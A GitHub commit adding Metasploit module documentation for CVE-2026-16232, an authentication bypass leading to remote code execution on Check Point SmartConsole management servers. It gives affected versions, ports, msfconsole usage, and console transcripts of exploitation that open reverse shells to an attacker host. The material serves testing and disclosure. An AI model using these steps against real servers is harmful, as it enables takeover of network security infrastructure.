Skip to content

Commit 113d621

Browse files
sfewer-r7sfewer-r7
committed
add in docs
1 parent e9fa69e commit 113d621

1 file changed

Lines changed: 169 additions & 0 deletions

File tree

‎documentation/modules/exploit/linux/misc/checkpoint_smartconsole_cve_2026_16232_rce.md‎

Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,169 @@
1+
## Vulnerable Application
2+
This module exploits CVE-2026-16232, an authentication bypass in the
3+
Check Point SmartConsole login process affecting Security Management
4+
Server and Multi-Domain Security Management Server. A vulnerable
5+
management server accepts a client-supplied SIC distinguished name
6+
during an application certificate bind instead of binding the
7+
application identity to the authenticated peer certificate.
8+
9+
The module uses the unauthenticated FWM/CPMI service to replay the
10+
management server's own SIC DN, mints a SmartConsole SSO ticket, and
11+
redeems it over the CPM SOAP service. The resulting administrative
12+
session is then used to submit a local one-time run-script command.
13+
14+
Affected versions include R82.10 before Jumbo Hotfix Take 36, R82
15+
before Jumbo Hotfix Take 118, and R81.20 before Jumbo Hotfix Take 158.
16+
Older supported release families are also affected according to the
17+
vendor advisory. Exploitation requires network access to the
18+
management server (Specifically the FWM/CPMI service port on TCP
19+
18190, and the CPM/DLE service port on TCP 19009), and a Trusted
20+
Clients configuration that does not restrict GUI clients.
21+
22+
This module has been successfully tested against vulnerable R82.10
23+
and R81.20 targets.
24+
25+
## Verification Steps
26+
27+
1. Start msfconsole
28+
2. `use exploit/linux/misc/checkpoint_smartconsole_cve_2026_16232_rce`
29+
3. `set RHOST <TARGET_IP_ADDRESS>`
30+
4. `set LHOST eth0`
31+
5. `check`
32+
6. `exploit`
33+
34+
## Options
35+
36+
- `RPORT`: The CPM/DLE service port for SOAP requests. Default is `19009`.
37+
- `FWM_PORT`: The FWM/CPMI service port. Default is `18190`.
38+
39+
## Scenarios
40+
41+
### Example 1 - Python payload
42+
43+
```
44+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > set RHOST 192.168.86.17
45+
RHOST => 192.168.86.17
46+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > set LHOST eth0
47+
LHOST => 192.168.86.122
48+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > show targets
49+
50+
Exploit targets:
51+
=================
52+
53+
Id Name
54+
-- ----
55+
=> 0 Python Payloads
56+
1 Command Payloads
57+
58+
59+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > show options
60+
61+
Module options (exploit/linux/misc/checkpoint_smartconsole_cve_2026_16232_rce):
62+
63+
Name Current Setting Required Description
64+
---- --------------- -------- -----------
65+
FWM_PORT 18190 yes The FWM/CPMI service port
66+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
67+
RHOSTS 192.168.86.17 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
68+
RPORT 19009 yes The target port (TCP)
69+
SSL true no Negotiate SSL/TLS for outgoing connections
70+
VHOST no HTTP server virtual host
71+
72+
73+
Payload options (python/meterpreter/reverse_tcp):
74+
75+
Name Current Setting Required Description
76+
---- --------------- -------- -----------
77+
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
78+
LPORT 4444 yes The listen port
79+
80+
81+
Exploit target:
82+
83+
Id Name
84+
-- ----
85+
0 Python Payloads
86+
87+
88+
89+
View the full module info with the info, or info -d command.
90+
91+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > exploit
92+
[*] Started reverse TCP handler on 192.168.86.122:4444
93+
[*] Running automatic check ("set AutoCheck false" to disable)
94+
[+] The target is vulnerable. The application certificate bind accepted the management server SIC DN
95+
[*] Connected to the FWM/CPMI service
96+
[+] Forged application bind accepted for SIC DN cn=cp_mgmt,o=gw-5622ce..zhyfvd
97+
[*] Obtained a SmartConsole SSO ticket
98+
[*] Redeemed the SmartConsole SSO ticket
99+
[*] Submitted local run-script transaction
100+
[*] Sending stage (23408 bytes) to 192.168.86.17
101+
[*] Meterpreter session 4 opened (192.168.86.122:4444 -> 192.168.86.17:54952) at 2026-07-31 09:56:21 +0100
102+
103+
meterpreter > getuid
104+
Server username: admin
105+
meterpreter > sysinfo
106+
Computer : gw-5622ce
107+
OS : Linux 5.14.0-427.13.1cpx86_64 #1 SMP Thu Mar 12 15:40:57 IST 2026
108+
Architecture : x64
109+
Meterpreter : python/linux
110+
meterpreter > pwd
111+
/opt/CPsuite-R82.10/fw1/cpm-server
112+
meterpreter >
113+
```
114+
115+
### Example 1 - Command payload
116+
117+
```
118+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > set target 1
119+
target => 1
120+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > show options
121+
122+
Module options (exploit/linux/misc/checkpoint_smartconsole_cve_2026_16232_rce):
123+
124+
Name Current Setting Required Description
125+
---- --------------- -------- -----------
126+
FWM_PORT 18190 yes The FWM/CPMI service port
127+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
128+
RHOSTS 192.168.86.17 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
129+
RPORT 19009 yes The target port (TCP)
130+
SSL true no Negotiate SSL/TLS for outgoing connections
131+
VHOST no HTTP server virtual host
132+
133+
134+
Payload options (cmd/unix/reverse_bash):
135+
136+
Name Current Setting Required Description
137+
---- --------------- -------- -----------
138+
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
139+
LPORT 4444 yes The listen port
140+
141+
142+
Exploit target:
143+
144+
Id Name
145+
-- ----
146+
1 Command Payloads
147+
148+
149+
150+
View the full module info with the info, or info -d command.
151+
152+
msf exploit(linux/misc/checkpoint_smartconsole_cve_2026_16232_rce) > exploit
153+
[*] Started reverse TCP handler on 192.168.86.122:4444
154+
[*] Running automatic check ("set AutoCheck false" to disable)
155+
[+] The target is vulnerable. The application certificate bind accepted the management server SIC DN
156+
[*] Connected to the FWM/CPMI service
157+
[+] Forged application bind accepted for SIC DN cn=cp_mgmt,o=gw-5622ce..zhyfvd
158+
[*] Obtained a SmartConsole SSO ticket
159+
[*] Redeemed the SmartConsole SSO ticket
160+
[*] Submitted local run-script transaction
161+
[*] Command shell session 5 opened (192.168.86.122:4444 -> 192.168.86.17:34716) at 2026-07-31 10:10:49 +0100
162+
163+
id
164+
uid=0(admin) gid=0(root) groups=0(root)
165+
uname -a
166+
Linux gw-5622ce 5.14.0-427.13.1cpx86_64 #1 SMP Thu Mar 12 15:40:57 IST 2026 x86_64 x86_64 x86_64 GNU/Linux
167+
pwd
168+
/opt/CPsuite-R82.10/fw1/cpm-server
169+
```

0 commit comments

Comments
 (0)